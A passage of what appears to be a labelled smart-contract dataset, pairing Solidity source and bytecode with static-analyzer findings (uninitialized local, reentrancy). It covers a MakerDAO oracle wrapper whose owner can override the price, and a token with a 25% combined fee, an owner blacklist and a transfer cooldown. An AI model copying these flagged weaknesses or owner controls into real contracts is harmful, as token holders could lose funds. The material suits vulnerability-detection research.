1526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561188a57600080fd5b6102c65a03f1151561189b57600080fd5b5050506040518051600160a060020a038316600090815260066020526040902055505b50565b8154818355818115116118e5576000838152602090206118e5918101908301611935565b505050565b60206040519081016040526000815290565b604080519081016040526000808252602082015290565b6060604051908101604052806000815260200160008152602001600081525090565b61074191905b8082111561194f576000815560010161193b565b50905600a165627a7a72305820ae71dd6239f7d143bf7d308b1a1ca8ad767ca7ae5966d3c0dd1f98a64bd45b2f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,220 |
0x60055e9a93aae267da5a052e95846fa9469c0e7a
|
pragma solidity ^0.4.24;
interface IOracle {
/**
* @notice Returns address of oracle currency (0x0 for ETH)
*/
function getCurrencyAddress() external view returns(address);
/**
* @notice Returns symbol of oracle currency (0x0 for ETH)
*/
function getCurrencySymbol() external view returns(bytes32);
/**
* @notice Returns denomination of price
*/
function getCurrencyDenominated() external view returns(bytes32);
/**
* @notice Returns price - should throw if not valid
*/
function getPrice() external view returns(uint256);
}
/// return median value of feeds
// Copyright (C) 2017 DappHub, LLC
// Licensed under the Apache License, Version 2.0 (the "License").
// You may not use this file except in compliance with the License.
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND (express or implied).
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) constant returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
assert(isAuthorized(msg.sender, msg.sig));
_;
}
modifier authorized(bytes4 sig) {
assert(isAuthorized(msg.sender, sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
function assert(bool x) internal {
if (!x) throw;
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSMath {
/*
standard uint256 functions
*/
function add(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function mul(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x * y) >= x);
}
function div(uint256 x, uint256 y) constant internal returns (uint256 z) {
z = x / y;
}
function min(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x <= y ? x : y;
}
function max(uint256 x, uint256 y) constant internal returns (uint256 z) {
return x >= y ? x : y;
}
/*
uint128 functions (h is for half)
*/
function hadd(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x + y) >= x);
}
function hsub(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x - y) <= x);
}
function hmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
assert((z = x * y) >= x);
}
function hdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = x / y;
}
function hmin(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x <= y ? x : y;
}
function hmax(uint128 x, uint128 y) constant internal returns (uint128 z) {
return x >= y ? x : y;
}
/*
int256 functions
*/
function imin(int256 x, int256 y) constant internal returns (int256 z) {
return x <= y ? x : y;
}
function imax(int256 x, int256 y) constant internal returns (int256 z) {
return x >= y ? x : y;
}
/*
WAD math
*/
uint128 constant WAD = 10 ** 18;
function wadd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function wsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function wmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + WAD / 2) / WAD);
}
function wdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * WAD + y / 2) / y);
}
function wmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function wmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
/*
RAY math
*/
uint128 constant RAY = 10 ** 27;
function radd(uint128 x, uint128 y) constant internal returns (uint128) {
return hadd(x, y);
}
function rsub(uint128 x, uint128 y) constant internal returns (uint128) {
return hsub(x, y);
}
function rmul(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * y + RAY / 2) / RAY);
}
function rdiv(uint128 x, uint128 y) constant internal returns (uint128 z) {
z = cast((uint256(x) * RAY + y / 2) / y);
}
function rpow(uint128 x, uint64 n) constant internal returns (uint128 z) {
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
function rmin(uint128 x, uint128 y) constant internal returns (uint128) {
return hmin(x, y);
}
function rmax(uint128 x, uint128 y) constant internal returns (uint128) {
return hmax(x, y);
}
function cast(uint256 x) constant internal returns (uint128 z) {
assert((z = uint128(x)) == x);
}
}
contract DSThing is DSAuth, DSNote, DSMath {
}
contract DSValue is DSThing {
bool has;
bytes32 val;
function peek() constant returns (bytes32, bool) {
return (val,has);
}
function read() constant returns (bytes32) {
var (wut, has) = peek();
assert(has);
return wut;
}
function poke(bytes32 wut) note auth {
val = wut;
has = true;
}
function void() note auth { // unset the value
has = false;
}
}
contract Medianizer is DSValue {
mapping (bytes12 => address) public values;
mapping (address => bytes12) public indexes;
bytes12 public next = 0x1;
uint96 public min = 0x1;
function set(address wat) auth {
bytes12 nextId = bytes12(uint96(next) + 1);
assert(nextId != 0x0);
set(next, wat);
next = nextId;
}
function set(bytes12 pos, address wat) note auth {
if (pos == 0x0) throw;
if (wat != 0 && indexes[wat] != 0) throw;
indexes[values[pos]] = 0; // Making sure to remove a possible existing address in that position
if (wat != 0) {
indexes[wat] = pos;
}
values[pos] = wat;
}
function setMin(uint96 min_) note auth {
if (min_ == 0x0) throw;
min = min_;
}
function setNext(bytes12 next_) note auth {
if (next_ == 0x0) throw;
next = next_;
}
function unset(bytes12 pos) {
set(pos, 0);
}
function unset(address wat) {
set(indexes[wat], 0);
}
function poke() {
poke(0);
}
function poke(bytes32) note {
(val, has) = compute();
}
function compute() constant returns (bytes32, bool) {
bytes32[] memory wuts = new bytes32[](uint96(next) - 1);
uint96 ctr = 0;
for (uint96 i = 1; i < uint96(next); i++) {
if (values[bytes12(i)] != 0) {
var (wut, wuz) = DSValue(values[bytes12(i)]).peek();
if (wuz) {
if (ctr == 0 || wut >= wuts[ctr - 1]) {
wuts[ctr] = wut;
} else {
uint96 j = 0;
while (wut >= wuts[j]) {
j++;
}
for (uint96 k = ctr; k > j; k--) {
wuts[k] = wuts[k - 1];
}
wuts[j] = wut;
}
ctr++;
}
}
}
if (ctr < min) return (val, false);
bytes32 value;
if (ctr % 2 == 0) {
uint128 val1 = uint128(wuts[(ctr / 2) - 1]);
uint128 val2 = uint128(wuts[ctr / 2]);
value = bytes32(wdiv(hadd(val1, val2), 2 ether));
} else {
value = wuts[(ctr - 1) / 2];
}
return (value, true);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MakerDAOOracle is IOracle, Ownable {
address public makerDAO = 0x729D19f657BD0614b4985Cf1D82531c67569197B;
bool public manualOverride;
uint256 public manualPrice;
event LogChangeMakerDAO(address _newMakerDAO, address _oldMakerDAO, uint256 _now);
event LogSetManualPrice(uint256 _oldPrice, uint256 _newPrice, uint256 _time);
event LogSetManualOverride(bool _override, uint256 _time);
function changeMakerDAO(address _makerDAO) public onlyOwner {
emit LogChangeMakerDAO(_makerDAO, makerDAO, now);
makerDAO = _makerDAO;
}
/**
* @notice Returns address of oracle currency (0x0 for ETH)
*/
function getCurrencyAddress() external view returns(address) {
return address(0);
}
/**
* @notice Returns symbol of oracle currency (0x0 for ETH)
*/
function getCurrencySymbol() external view returns(bytes32) {
return bytes32("ETH");
}
/**
* @notice Returns denomination of price
*/
function getCurrencyDenominated() external view returns(bytes32) {
return bytes32("USD");
}
/**
* @notice Returns price - should throw if not valid
*/
function getPrice() external view returns(uint256) {
if (manualOverride) {
return manualPrice;
}
(bytes32 price, bool valid) = Medianizer(makerDAO).peek();
require(valid, "MakerDAO Oracle returning invalid value");
return uint256(price);
}
/**
* @notice Set a manual price. NA - this will only be used if manualOverride == true
* @param _price Price to set
*/
function setManualPrice(uint256 _price) public onlyOwner {
emit LogSetManualPrice(manualPrice, _price, now);
manualPrice = _price;
}
/**
* @notice Determine whether manual price is used or not
* @param _override Whether to use the manual override price or not
*/
function setManualOverride(bool _override) public onlyOwner {
manualOverride = _override;
emit LogSetManualOverride(_override, now);
}
}
|
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806335967501146100ca5780635dfc09a4146100f9578063715018a61461012c5780638da5cb5b1461014357806398d5fdca1461019a5780639b815057146101c5578063a2c9d63014610208578063abd4964614610233578063bae6d62b1461028a578063bfe0c27e146102b9578063d265421914610310578063d7a7186814610343578063f2fde38b14610370575b600080fd5b3480156100d657600080fd5b506100f76004803603810190808035151590602001909291905050506103b3565b005b34801561010557600080fd5b5061010e61046e565b60405180826000191660001916815260200191505060405180910390f35b34801561013857600080fd5b50610141610496565b005b34801561014f57600080fd5b50610158610598565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101a657600080fd5b506101af6105bd565b6040518082815260200191505060405180910390f35b3480156101d157600080fd5b50610206600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610757565b005b34801561021457600080fd5b5061021d6108b7565b6040518082815260200191505060405180910390f35b34801561023f57600080fd5b506102486108bd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029657600080fd5b5061029f6108e3565b604051808215151515815260200191505060405180910390f35b3480156102c557600080fd5b506102ce6108f6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561031c57600080fd5b506103256108fe565b60405180826000191660001916815260200191505060405180910390f35b34801561034f57600080fd5b5061036e60048036038101908080359060200190929190505050610926565b005b34801561037c57600080fd5b506103b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d4565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561040e57600080fd5b80600160146101000a81548160ff0219169083151502179055507f14a38f9bb5326b2ea5d19c58d6bf35c0fb16bec9b9f593b1630a13f85c0044a1814260405180831515151581526020018281526020019250505060405180910390a150565b60007f4554480000000000000000000000000000000000000000000000000000000000905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104f157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000600160149054906101000a900460ff16156105e1576002549250610752565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166359e02dd76040518163ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016040805180830381600087803b15801561066657600080fd5b505af115801561067a573d6000803e3d6000fd5b505050506040513d604081101561069057600080fd5b8101908080519060200190929190805190602001909291905050509150915080151561074a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001807f4d616b657244414f204f7261636c652072657475726e696e6720696e76616c6981526020017f642076616c75650000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b816001900492505b505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107b257600080fd5b7f7543e286f28e8144103ba5ca383a4e261117d34bd6a06d55a86b65dfcf32151281600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1642604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a180600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160149054906101000a900460ff1681565b600080905090565b60007f5553440000000000000000000000000000000000000000000000000000000000905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561098157600080fd5b7f75a35a9f0ffcd3bff850640b21cf7a3e9d887bb934d427afb6461837a20e384f600254824260405180848152602001838152602001828152602001935050505060405180910390a18060028190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a2f57600080fd5b610a3881610a3b565b50565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a7757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058205f1f6672433e594b3331ea4642b65f5bc34a38ac33671a1582965697ff3f1bed0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,221 |
0x399d1efdb35b2324df86d9583b920bea9fa56c62
|
/**
*Submitted for verification at Etherscan.io on 2021-12-19
*/
/*
Green Eyed Monster
https://t.me/GEMportall
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GreenEyedMonster is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Green Eyed Monster";
string private constant _symbol = "GEM";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 20;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280601281526020017f477265656e2045796564204d6f6e737465720000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffff